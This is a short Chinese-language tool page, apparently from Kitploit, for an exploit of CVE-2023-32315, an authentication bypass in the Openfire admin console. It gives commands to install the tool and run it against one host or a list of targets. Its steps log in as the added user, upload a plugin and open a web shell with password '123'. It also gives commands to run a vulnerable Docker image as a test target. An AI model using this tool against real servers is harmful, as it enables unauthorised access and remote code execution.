CVE-2023-32315 — Openfire 控制台身份验证绕过漏洞，附带 RCE 插件 | Kitploit

CVE-2023-32315

Openfire 控制台身份验证绕过漏洞（含 RCE 插件）

设置

git clone https://github.com/miko550/CVE-2023-32315.git
cd CVE-2023-32315
pip3 install -r requirements.txt

使用方法

python3 CVE-2023-32315.py -t http://127.0.0.1:9090
python3 CVE-2023-32315.py -l lists.txt

步骤

运行漏洞利用程序
使用新添加的用户登录
转到插件选项卡 > 上传插件 openfire-management-tool-plugin.jar
转到服务器选项卡 > 服务器设置 > 管理工具
使用密码“123”访问 Web Shell

易受攻击的 Openfire Docker

docker pull nasqueron/openfire:4.7.1
sudo docker run --name openfire -d --restart=always --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 --volume /srv/docker/openfire:/var/lib/openfire nasqueron/openfire:4.7.1

参考